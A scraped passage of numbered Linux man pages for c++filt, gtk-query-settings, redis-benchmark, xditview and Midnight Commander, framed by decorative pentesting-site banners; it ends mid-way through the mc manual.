              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

197 - Linux cli command x86_64-linux-gnu-c++filt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-c++filt and provides detailed information about the command x86_64-linux-gnu-c++filt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-c++filt.

NAME 🖥️ x86_64-linux-gnu-c++filt 🖥️

demangle C++ and Java symbols

SYNOPSIS

c++filt [-_|–strip-underscore] [-n|–no-strip-underscore] [-p|–no-params] [-t|–types] [-i|–no-verbose] [-r|–no-recurse-limit] [-R|–recurse-limit] [-s format|–format=format] [–help] [–version] [symbol…]

DESCRIPTION

The C++ and Java languages provide function overloading, which means that you can write many functions with the same name, providing that each function takes parameters of different types. In order to be able to distinguish these similarly named functions C++ and Java encode them into a low-level assembler name which uniquely identifies each different version. This process is known as mangling. The c++filt [1] program does the inverse mapping: it decodes (demangles) low-level names into user-level names so that they can be read.

Every alphanumeric word (consisting of letters, digits, underscores, dollars, or periods) seen in the input is a potential mangled name. If the name decodes into a C++ name, the C++ name replaces the low-level name in the output, otherwise the original word is output. In this way you can pass an entire assembler source file, containing mangled names, through c++filt and see the same source file containing demangled names.

You can also use c++filt to decipher individual symbols by passing them on the command line:

c++filt <symbol>

If no symbol arguments are given, c++filt reads symbol names from the standard input instead. All the results are printed on the standard output. The difference between reading names from the command line versus reading names from the standard input is that command-line arguments are expected to be just mangled names and no checking is performed to separate them from surrounding text. Thus for example:

c++filt -n _Z1fv

will work and demangle the name to “f()” whereas:

c++filt -n _Z1fv,

will not work. (Note the extra comma at the end of the mangled name which makes it invalid). This command however will work:

echo _Z1fv, | c++filt -n

and will display “f(),”, i.e., the demangled name followed by a trailing comma. This behaviour is because when the names are read from the standard input it is expected that they might be part of an assembler source file where there might be extra, extraneous characters trailing after a mangled name. For example:

.type _Z1fv, @function

OPTIONS

-_

–strip-underscore

On some systems, both the C and C++ compilers put an underscore in front of every name. For example, the C name foo gets the low-level name _foo. This option removes the initial underscore. Whether c++filt removes the underscore by default is target dependent.

-n

–no-strip-underscore

Do not remove the initial underscore.

-p

–no-params

When demangling the name of a function, do not display the types of the function’s parameters.

-t

–types

Attempt to demangle types as well as function names. This is disabled by default since mangled types are normally only used internally in the compiler, and they can be confused with non-mangled names. For example, a function called “a” treated as a mangled type name would be demangled to “signed char”.

-i

–no-verbose

Do not include implementation details (if any) in the demangled output.

-r

-R

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected. The -r option is a synonym for the –no-recurse-limit option. The -R option is a synonym for the –recurse-limit option.

-s format

–format=format

c++filt can decode various methods of mangling, used by different compilers. The argument to this option selects which method it uses:

“auto”
Automatic selection based on executable (the default method)

“gnu”
the one used by the GNU C++ compiler (g++)

“lucid”
the one used by the Lucid compiler (lcc)

“arm”
the one specified by the C++ Annotated Reference Manual

“hp”
the one used by the HP compiler (aCC)

“edg”
the one used by the EDG compiler

“gnu-v3”
the one used by the GNU C++ compiler (g++) with the V3 ABI.

“java”
the one used by the GNU Java compiler (gcj)

“gnat”
the one used by the GNU Ada compiler (GNAT).

–help
Print a summary of the options to c++filt and exit.

–version
Print the version number of c++filt and exit.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

FOOTNOTES

  1. MS-DOS does not allow + characters in file names, so on MS-DOS this program is named CXXFILT.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

198 - Linux cli command gtk-query-settings

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtk-query-settings and provides detailed information about the command gtk-query-settings, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtk-query-settings.

NAME 🖥️ gtk-query-settings 🖥️

query-settings - Utility to print name and value of all GtkSettings properties

SYNOPSIS

gtk-query-settings [PATTERN]

DESCRIPTION

gtk-query-settings prints both name and value of all properties available in the GtkSettings class. Optionally, you can filter which properties to list by specifying a PATTERN.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

199 - Linux cli command redis-benchmark

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command redis-benchmark and provides detailed information about the command redis-benchmark, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the redis-benchmark.

NAME 🖥️ redis-benchmark 🖥️

benchmark - Benechmark a Redis instance

SYNOPSIS

redis-benchmark [-h <host>] [-p <port>] [-c <clients>] [-n <requests]> [-k <boolean>]

DESCRIPTION

Redis is a key-value database. It is similar to memcached but the dataset is not volatile and other datatypes (such as lists and sets) are natively supported.

OPTIONS

-h hostname
Server hostname (default 127.0.0.1)

-p port
Server port (default 6379)

-s socket
Server socket (overrides host and port)

-a password
Password for Redis Auth

-c clients
Number of parallel connections (default 50)

-n requests
Total number of requests (default 100000)

-d size
Data size of SET/GET value in bytes (default 2)

-dbnum db
SELECT the specified db number (default 0)

-k boolean
1=keep alive 0=reconnect (default 1)

-r keyspacelen
Use random keys for SET/GET/INCR, random values for SADD Using this option the benchmark will get/set keys in the form mykey_rand000000012456 instead of constant keys, the <keyspacelen> argument determines the max number of values for the random number. For instance if set to 10 only rand000000000000 - rand000000000009 range will be allowed.

-P numreq
Pipeline <numreq> requests. Default 1 (no pipeline).

-q
Quiet. Just show query/sec values

–csv
Ourput in CSV format

-l
Loop. Run the tests forever

-I
Idle mode. Just open N idle connections and wait.

-D
Debug mode. more verbose.

AUTHOR

redis-benchmark was written by Salvatore Sanfilippo.

This manual page was written by Chris Lamb <[email protected]> for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

200 - Linux cli command xditview

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xditview and provides detailed information about the command xditview, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xditview.

NAME 🖥️ xditview 🖥️

display ditroff output

SYNOPSIS

xditview [ -toolkitoption . . . ] [ -option . . . ] [ filename ]

DESCRIPTION

The xditview program displays ditroff output on an X display. It uses no special metrics and automatically converts the printer coordinates into screen coordinates; using the user-specified screen resolution, rather than the actual resolution so that the appropriate fonts can be found. If ``-’’ is given as the filename, xditview reads from standard input. If ``|’’ is the first character of filename, xditview forks sh to run the rest of the ``file name’’ and uses the standard output of that command.

OPTIONS

Xditview accepts all of the standard X Toolkit command line options along with the additional options listed below:

-page page-number
This option specifies the page number of the document to be displayed at start up time.

-resolution screen-resolution
This specifies the desired screen resolution to use; fonts will be opened by requesting this resolution field in the XLFD names.

-noPolyText
Some X servers incorrectly implement PolyText with multiple strings per request. This option suppresses the use of this feature in xditview.

-backingStore backing-store-type
Redisplay can take up to a second or so; this option causes the server to save the window contents so that when it is scrolled around the viewport, the window is painted from contents saved in backing store. backing-store-type can be one of Always, WhenMapped or NotUseful.

The following standard X Toolkit command line arguments are commonly used with xditview:

-bg color
This option specifies the color to use for the background of the window. The default is white.

-bd color
This option specifies the color to use for the border of the window. The default is black.

-bw number
This option specifies the width in pixels of the border surrounding the window.

-fg color
This option specifies the color to use for displaying text. The default is black.

-fn font
This option specifies the font to be used for displaying widget text. The default is fixed.

-rv
This option indicates that reverse video should be simulated by swapping the foreground and background colors.

-geometry geometry
This option specifies the preferred size and position of the window.

-display host:display
This option specifies the X server to contact.

-xrm resourcestring
This option specifies a resource string to be used.

X DEFAULTS

This program uses a Dvi widget. It understands all of the core resource names and classes as well as:

width (class Width)
Specifies the width of the window.

height (class Height)
Specifies the height of the window.

foreground (class Foreground)
Specifies the default foreground color.

font (class Font)
Specifies the font to be used for error messages.

FontMap (class FontMap)
To associate the ditroff fonts with appropriate X fonts, this string resource contains a set of new-line separated specifications, each of which consists of a ditroff name, some white space and an XLFD pattern with * characters in appropriate places to allow all sizes to be listed. The default fontMap is:

R	-*-times-medium-r-normal- -*-*-*-*-*-*-iso8859-1


I --times-medium-i-normal- -------iso8859-1
B -
-times-bold-r-normal- -------iso8859-1
F --times-bold-i-normal- -------iso8859-1
BI -
-times-bold-i-normal- -------iso8859-1
C --courier-medium-r-normal- -------iso8859-1
CO -
-courier-medium-o-normal- -------iso8859-1
CB --courier-bold-r-normal- -------iso8859-1
CF -
-courier-bold-o-normal- -------iso8859-1
H --helvetica-medium-r-normal- -------iso8859-1
HO -
-helvetica-medium-o-normal- -------iso8859-1
HB --helvetica-bold-r-normal- -------iso8859-1
HF -
-helvetica-bold-o-normal- -------iso8859-1
N --new century schoolbook-medium-r-normal- -------iso8859-1
NI -
-new century schoolbook-medium-i-normal- -------iso8859-1
NB --new century schoolbook-bold-r-normal- -------iso8859-1
NF -
-new century schoolbook-bold-i-normal- -------iso8859-1
A --charter-medium-r-normal- -------iso8859-1
AI -
-charter-medium-i-normal- -------iso8859-1
AB --charter-bold-r-normal- -------iso8859-1
AF -
-charter-bold-i-normal- -------iso8859-1
S --symbol-medium-r-normal- -------adobe-fontspecific
S2 -
-symbol-medium-r-normal- -------adobe-fontspecific

USING XDITVIEW WITH DITROFF

You can use any ditroff output file with xditview, although files which use the fonts appropriate to the fontMap will look more accurate on the screen. On servers which support scaled fonts, all requested font sizes will be accurately reflected on the screen; for servers which do not support scaled xditview will use the closest font from the same family.

SEE ALSO

X(7), xrdb(1), ditroff(1), X Logical Font Description Conventions

ORIGIN

Portions of this program originated in xtroff which was derived from suntroff.

AUTHORS

Keith Packard (MIT X Consortium)
Richard L. Hyde (Purdue)
David Slattengren (Berkeley)
Malcom Slaney (Schlumberger Palo Alto Research)
Mark Moraes (University of Toronto)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

201 - Linux cli command mc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mc and provides detailed information about the command mc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mc.

NAME 🖥️ mc 🖥️

Visual shell for Unix-like systems.

SYNOPSIS

mc [-abcCdfhPstuUVx] [-l log] [dir1 [dir2]] [-e [file] …] [-v file]

DESCRIPTION

GNU Midnight Commander is a directory browser/file manager for Unix-like operating systems.

OPTIONS

-a, –stickchars
Disable usage of graphic characters for line drawing.

-b, –nocolor
Force black and white display.

-c, –color
Force color mode, please check the section Colors for more information.

-C arg, –colors=arg
Specify a different color set in the command line. The format of arg is documented in the Colors section.

–configure-options
Display configure options.

-d, –nomouse
Disable mouse support.

-e [file], –edit[=file]
Start the internal editor. If the file is specified, open it on startup. See also mcedit (1).

-f, –datadir
Display the compiled-in search paths for Midnight Commander files.

-F, –datadir-info
Display extended info about compiled-in paths for Midnight Commander.

-g, –oldmouse
Force a “normal tracking” mouse mode. Used when running on xterm-capable terminals (tmux/screen).

-k, –resetsoft
Reset softkeys to their default from the termcap/terminfo database. Only useful on HP terminals when the function keys don’t work.

-K file, –keymap=file
Specify a name of keymap file in the command line.

-l file, –ftplog=file
Save the ftpfs dialog with the server in file.

–nokeymap
Don’t load key bindings from any file, use default hardcoded keys.

-P file, –printwd=file
Print the last working directory to the specified file. This option is not meant to be used directly. Instead, it’s used from a special shell script that automatically changes the current directory of the shell to the last directory Midnight Commander was in. Source the file /usr/lib/mc/mc.sh (bash and zsh users) or /usr/lib/mc.csh (tcsh users) respectively to define mc as an alias to the appropriate shell script.

-s, –slow
Turn on the slow terminal mode, in this mode the program will not draw expensive line drawing characters and will toggle verbose mode off.

-S arg, –skin=arg
Specify a name of skin in the command line. Technology of skins is documented in the Skins section.

-t, –termcap
Used only if the code was compiled with S-Lang and terminfo: it makes Midnight Commander use the value of the TERMCAP variable for the terminal information instead of the information on the system wide terminal database

-u, –nosubshell
Disable use of the concurrent shell (only makes sense if Midnight Commander has been built with concurrent shell support).

-U, –subshell
Enable use of the concurrent shell support (only makes sense if the Midnight Commander was built with the subshell support set as an optional feature).

-v file, –view=file
Start the internal viewer to view the specified file. See also mcview (1).

-V, –version
Display the version of the program.

-x, –xterm
Force xterm mode. Used when running on xterm-capable terminals (two screen modes, and able to send mouse escape sequences).

-X, –no-x11
Do not use X11 to get the state of modifiers Alt, Ctrl, Shift

If both paths are specified, the first path name is the directory to show in the active panel; the second path name is the directory to be shown in the other panel.

If one path is specified, the path name is the directory to show in the active panel; value of “other_dir” from panels.ini is the directory to be shown in the passive panel.

If no paths are specified, current directory is shown in the active panel; value of “other_dir” from panels.ini is the directory to be shown in the passive panel.

Overview

The screen of Midnight Commander is divided into four parts. Almost all of the screen space is taken up by two directory panels. By default, the second line from the bottom of the screen is the shell command line, and the bottom line shows the function key labels. The topmost line is the menu bar line. The menu bar line may not be visible, but appears if you click the topmost line with the mouse or press the F9 key.

Midnight Commander provides a view of two directories at the same time. One of the panels is the current panel (a selection bar is in the current panel). Almost all operations take place on the current panel. Some file operations like Rename and Copy by default use the directory of the unselected panel as a destination (don’t worry, they always ask you for confirmation first). For more information, see the sections on the Directory Panels, the Left and Right Menus and the File Menu.

You can execute system commands from Midnight Commander by simply typing them. Everything you type will appear on the shell command line, and when you press Enter, Midnight Commander will execute the command line you typed; read the Shell Command Line and Input Line Keys sections to learn more about the command line.

Mouse Support

Midnight Commander comes with mouse support. It is activated whenever you are running on an xterm(1) terminal (it even works if you take a telnet, ssh or rlogin connection to another machine from the xterm) or if you are running on a Linux console and have the gpm mouse server running.

When you left click on a file in the directory panels, that file is selected; if you click with the right button, the file is marked (or unmarked, depending on the previous state).

Double-clicking on a file will try to execute the command if it is an executable program; and if the extension file has a program specified for the file’s extension, the specified program is executed.

Also, it is possible to execute the commands assigned to the function key labels by clicking on them.

The default auto repeat rate for the mouse buttons is 400 milliseconds. This may be changed to other values by editing the ~/.config/mc/ini file and changing the mouse_repeat_rate parameter.

If you are running Midnight Commander with the mouse support, you can get the default mouse behavior (cutting and pasting text) by holding down the Shift key.

Keys

Some commands in Midnight Commander involve the use of the Control (sometimes labeled CTRL or CTL) and the Meta (sometimes labeled ALT or even Compose) keys. In this manual we will use the following abbreviations:

C-<chr>
means hold the Control key while typing the character <chr>. Thus C-f would be: hold the Control key and type f.

Alt-<chr>
means hold the Meta or Alt key down while typing <chr>. If there is no Meta or Alt key, type Esc, release it, then type the character <chr>.

S-<chr>
means hold the Shift key down while typing <chr>.

All input lines in Midnight Commander use an approximation to the GNU Emacs editor’s key bindings (default).

You may redefine key bindings. See redefine hotkey bindings

for more info. All other key bindings (described in this manual) are relative to default behavior.

There are many sections which tell about the keys. The following are the most important.

The File Menu section documents the keyboard shortcuts for the commands appearing in the File menu. This section includes the function keys. Most of these commands perform some action, usually on the selected file or the tagged files.

The Directory Panels section documents the keys which select a file or tag files as a target for a later action (the action is usually one from the file menu).

The Shell Command Line section list the keys which are used for entering and editing command lines. Most of these copy file names and such from the directory panels to the command line (to avoid excessive typing) or access the command line history.

Input Line Keys are used for editing input lines. This means both the command line and the input lines in the query dialogs.

Redefine hotkey bindings

Hotkey bindings may be read from external file (keymap-file). Initially, Midnight Commander creates key bindings using keymap defined in the source code. Then, two files /usr/share/mc/mc.keymap and /etc/mc/mc.keymap are loaded always, sequentially reassigned key bindings defined earlier. User-defined keymap-file is searched on the following algorithm (to the first one found):

  1. command line option -K <keymap> or –keymap=<keymap>
  2. Environment variable MC_KEYMAP
  3. Parameter keymap in section [Midnight-Commander] of config file.
  4. File ~/.config/mc/mc.keymap

Command line option, environment variable and parameter in config file may contain the absolute path to the keymap-file (with the extension .keymap or without it). Search of keymap-file will occur in (to the first one found):

  1. ~/.config/mc
  2. /etc/mc/
  3. /usr/share/mc/

Miscellaneous Keys

Here are some keys which don’t fall into any of the other categories:

Enter
if there is some text in the command line (the one at the bottom of the panels), then that command is executed. If there is no text in the command line then if the selection bar is over a directory the Midnight Commander does a chdir(2) to the selected directory and reloads the information on the panel; if the selection is an executable file then it is executed. Finally, if the extension of the selected file name matches one of the extensions in the extensions file then the corresponding command is executed.

C-l
repaint all the information in Midnight Commander.

C-x c
run the Chmod command on a file or on the tagged files.

C-x o
run the Chown command on the current file or on the tagged files.

C-x l
run the hard link command.

C-x s
run the absolute symbolic link command.

C-x v
run the relative symbolic link command. See the File Menu section for more information about symbolic links.

C-x i
set the other panel display mode to information.

C-x q
set the other panel display mode to quick view.

C-x !
execute the External panelize command.

C-x h
run the add directory to hotlist command.

Alt-!
executes the Filtered view command, described in the view command.

Alt-?
executes the Find file command.

Alt-c
pops up the quick cd dialog.

C-o
when the program is being run in the Linux or FreeBSD console or under an xterm, it will show you the output of the previous command. When ran on the Linux console, Midnight Commander uses an external program (cons.saver) to handle saving and restoring of information on the screen.

When the subshell support is compiled in, you can type C-o at any time and you will be taken back to Midnight Commander’s main screen, to return to your application just type C-o. If you have an application suspended by using this trick, you won’t be able to execute other programs from Midnight Commander until you terminate the suspended application.

Directory Panels

This section lists the keys which operate on the directory panels. If you want to know how to change the appearance of the panels take a look at the section on Left and Right Menus.

Tab, C-i
change the current panel. The old other panel becomes the new current panel and the old current panel becomes the new other panel. The selection bar moves from the old current panel to the new current panel.

Insert, C-t
to tag files you may use the Insert key (the kich1 terminfo sequence). To untag files, just retag a tagged file.

Alt-e
to change charset of panel you may use Alt-e (M-e). Recoding is made from selected codepage into system codepage. To cancel the recoding, select “No translation” in the dialog of encodings.

Alt-g, Alt-r, Alt-j
used to select the top file in a panel, the middle file and the bottom one, respectively.

Alt-t
toggle the current display listing to show the next display listing format. With this it is possible to quickly switch to brief listing, long listing, user defined listing format, and back to the default.

C-\ (control-backslash)
show the directory hotlist and change to the selected directory.

+ (plus)
this is used to select (tag) a group of files. Midnight Commander will prompt for a selection options. When Files only checkbox is on, only files will be selected. If Files only is off, as files as directories will be selected. When Shell Patterns checkbox is on, the regular expression is much like the filename globbing in the shell (* standing for zero or more characters and ? standing for one character). If Shell Patterns is off, then the tagging of files is done with normal regular expressions (see ed (1)). When Case sensitive checkbox is on, the selection will be case sensitive characters. If Case sensitive is off, the case will be ignored.

\ (backslash)
use the “\ key to unselect a group of files. This is the opposite of the Plus key.

up-key, C-p
move the selection bar to the previous entry in the panel.

down-key, C-n
move the selection bar to the next entry in the panel.

home, a1, Alt-<
move the selection bar to the first entry in the panel.

end, c1, Alt->
move the selection bar to the last entry in the panel.

next-page, C-v
move the selection bar one page down.

prev-page, Alt-v
move the selection bar one page up.

Alt-o
If the currently selected file is a directory, load that directory on the other panel and moves the selection to the next file. If the currently selected file is not a directory, load the parent directory on the other panel and moves the selection to the next file.

Alt-i
make the current directory of the current panel also the current directory of the other panel. Put the other panel to the listing mode if needed. If the current panel is panelized, the other panel doesn’t become panelized.

C-PageUp, C-PageDown
only when supported by the terminal: change to “..” and to the currently selected directory respectively.

Alt-y
moves to the previous directory in the history, equivalent to clicking the < with the mouse.

Alt-u
moves to the next directory in the history, equivalent to clicking the > with the mouse.

Alt-S-h, Alt-H
displays the directory history, equivalent to depressing the ‘v’ with the mouse.

Quick search

The Quick search mode allows you to perform fast file search in file panel. Press C-s or Alt-s to start a filename search in the directory listing.

When the search is active, the user input will be added to the search string instead of the command line. If the Show mini-status option is enabled the search string is shown on the mini-status line. When typing, the selection bar will move to the next file starting with the typed letters. The Backspace or DEL keys can be used to correct typing mistakes. If C-s is pressed again, the next match is searched for.

If quick search is started with double pressing of C-s, the previous quick search pattern will be used for current search.

Besides the filename characters, you can also use wildcard characters ‘*’ and ‘?’.

Shell Command Line

This section lists keys which are useful to avoid excessive typing when entering shell commands.

Alt-Enter
copy the currently selected file name to the command line.

C-Enter
same a Alt-Enter. May not work on remote systems and some terminals.

C-S-Enter
copy the full path name of the currently selected file to the command line. May not work on remote systems and some terminals.

Alt-Tab
does the filename, command, variable, username and hostname completion for you.

C-x t, C-x C-t
copy the tagged files (or if there are no tagged files, the selected file) of the current panel (C-x t) or of the other panel (C-x C-t) to the command line.

C-x p, C-x C-p
the first key sequence copies the current path name to the command line, and the second one copies the unselected panel’s path name to the command line.

C-q
the quote command can be used to insert characters that are otherwise interpreted by Midnight Commander (like the ‘+’ symbol)

Alt-p, Alt-n
use these keys to browse through the command history. Alt-p takes you to the last entry, Alt-n takes you to the next one.

Alt-h
displays the history for the current input line.

General Movement Keys

The help viewer, the file viewer and the directory tree use common code to handle moving. Therefore they accept exactly the same keys. Each of them also accepts some keys of its own.

Other parts of Midnight Commander use some of the same movement keys, so this section may be of use for those parts too.

Up, C-p
moves one line backward.

Down, C-n
moves one line forward.

Prev Page, Page Up, Alt-v
moves one page up.

Next Page, Page Down, C-v
moves one page down.

Home, A1
moves to the beginning.

End, C1
move to the end.

The help viewer and the file viewer accept the following keys in addition the to ones mentioned above:

b, C-b, C-h, Backspace, Delete
moves one page up.

Space bar
moves one page down.

u, d
moves one half of a page up or down.

g, G
moves to the beginning or to the end.

Input Line Keys

The input lines (they are used for the command line and for the query dialogs in the program) accept these keys:

C-a
puts the cursor at the beginning of line.

C-e
puts the cursor at the end of the line.

C-b, move-left
move the cursor one position left.

C-f, move-right
move the cursor one position right.

Alt-f
moves one word forward.

Alt-b
moves one word backward.

C-h, Backspace
delete the previous character.

C-d, Delete
delete the character in the point (over the cursor).

C-@
sets the mark for cutting.

C-w
copies the text between the cursor and the mark to a kill buffer and removes the text from the input line.

Alt-w
copies the text between the cursor and the mark to a kill buffer.

C-y
yanks back the contents of the kill buffer.

C-k
kills the text from the cursor to the end of the line.

Alt-p, Alt-n
Use these keys to browse through the command history. Alt-p takes you to the last entry, Alt-n takes you to the next one.

Alt-C-h, Alt-Backspace
delete one word backward.

Alt-Tab
does the filename, command, variable, username and hostname completion for you.

Menu Bar

The menu bar pops up when you press F9 or click the mouse on the top row of the screen. The menu bar has five menus: “Left”, “File”, “Command”, “Options” and “Right”.

The Left and Right Menus allow you to modify the appearance of the left and right directory panels.

The File Menu lists the actions you can perform on the currently selected file or the tagged files.

The Command Menu lists the actions which are more general and bear no relation to the currently selected file or the tagged files.

The Options Menu lists the actions which allow you to customize Midnight Commander.

Left and Right (Above and Below) Menus

The outlook of the directory panels can be changed from the Left and Right menus (they are named Above and Below when the horizontal panel split is chosen from the Layout options dialog).

Listing Format…

The listing mode view is used to display a listing of files, there are four different listing formats available: Full, Brief, Long and User. The full directory view shows the file name, the size of the file and the modification time.

The brief view shows only the file name and it has from 1 up to 9 columns (therefore showing more files unlike other views). The long view is similar to the output of ls -l command. The long view takes the whole screen width.

If you choose the “User” display format, then you have to specify the display format.

The user display format must start with a panel size specifier. This may be “half” or “full”, and they specify a half screen panel and a full screen panel respectively.

After the panel size, you may specify how many listings to fit in the panel, side-by-side (in other words: how many times to repeat the fields horizontally). This defaults to 1. You may change this by adding a number from 1 to 9 to the format string.

After this you add the name of the fields with an optional size specifier. This are the available fields you may display:

name
displays the file name.

size
displays the file size.

bsize
is an alternative form of the size format. It displays the size of the files and for directories it just shows SUB-DIR or UP–DIR.

type
displays a one character wide type field. This character is similar to what is displayed by ls with the -F flag - * for executable files, / for directories, @ for links, = for sockets, - for character devices, + for block devices, | for pipes, ~ for symbolic links to directories and ! for stale symlinks (links that point nowhere).

mark
an asterisk if the file is tagged, a space if it’s not.

mtime
file’s last modification time.

atime
file’s last access time.

ctime
file’s status change time.

perm
a string representing the current permission bits of the file.

mode
an octal value with the current permission bits of the file.

nlink
the number of links to the file.

ngid
the GID (numeric).

nuid
the UID (numeric).

owner
the owner of the file.

group
the group of the file.

inode
the inode of the file.

Also you can use following keywords to define the panel layout:

space
a space in the display format.

|
add a vertical line to the display format.

To force one field to a fixed size (a size specifier), you just add : followed by the number of characters you want the field to have. If the number is followed by the symbol +, then the size specifies the minimal field size - if the program finds out that there is more space on the screen, it will then expand that field.

For example, the Full display corresponds to this format:

half type name | size | mtime

And the Long display corresponds to this format:

full perm space nlink space owner space group space size space mtime space name

This is a nice user display format:

half name | size:7 | type mode:3

Panels may also be set to the following modes:

Info
The info view display information related to the currently selected file and if possible information about the current file system.

Tree
The tree view is quite similar to the directory tree feature. See the section about it for more information.

Quick View
In this mode, the panel will switch to a reduced viewer that displays the contents of the currently selected file, if you select the panel (with the tab key or the mouse), you will have access to the usual viewer commands.

Sort Order…

The eight sort orders are by name, by extension, by modification time, by access time, and by inode information modification time, by size, by inode and unsorted. In the Sort order dialog box you can choose the sort order and you may also specify if you want to sort in reverse order by checking the reverse box.

By default directories are sorted before files but this can be changed from the Panel options menu (option Mix all files).

Filter…

